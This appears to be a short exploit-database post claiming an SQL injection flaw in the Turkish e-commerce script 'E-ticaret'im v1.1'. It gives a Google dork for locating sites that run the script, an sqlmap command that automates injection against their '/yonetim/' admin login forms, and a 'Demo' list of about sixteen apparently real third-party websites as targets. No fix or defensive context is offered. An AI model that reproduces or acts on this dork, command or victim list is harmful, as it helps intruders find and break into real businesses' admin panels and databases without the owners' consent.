##################################################### # Exploit Title: E-ticaret'im v1.1 Sql İnjection Vulnerability # Google Dork : inurl:/blog/haberinizolsunhaberiniz.html inurl:/blog/yeniurunkampanyalar.html intext:"Footer yazısı burdan değiştirilebilir. Lütfen kısa ve özet şekilde birkaç satır yazınız . Teşekkür ederiz." # Date: 2020-11-21 # Vender Homepage : https://www.tukawebtasarim.com/ # Exploit Author: Nobody # Tested on: Linux / Mozilla Firefox ##################################################### # Exploit : # sqlmap -u "http://site.com/yonetim/" --forms --batch --random-agent # Demo: # https://sanliurfabisiklet.com/yonetim/ # http://trendsirketlergrubu.com/yonetim/ # http://tezcankuyumculuk.com/yonetim/ # http://otobilgin.com.tr/yonetim/ # https://www.nidebabilisim.com/yonetim/ # https://www.islam.com.tr/yonetim/ # http://www.buklet.org/yonetim/ # http://www.derivesanat.com/yonetim/ # http://mertoglutoptantekstil.com/yonetim/ # https://www.yesilkonteyner.com/yonetim/ # http://sirketv2.oziyweb.com/yonetim/ # https://www.sanliurfabisiklet.com/yonetim/ # http://www.gulensepet.com/yonetim/ # https://okanlarsimit.com/yonetim/ # https://eticaretplus.erkanwebyazilim.com/eticaretplus/yonetim/ # http://limonsehri.com/yonetim/ ##################################################### # SpyHackerZ.org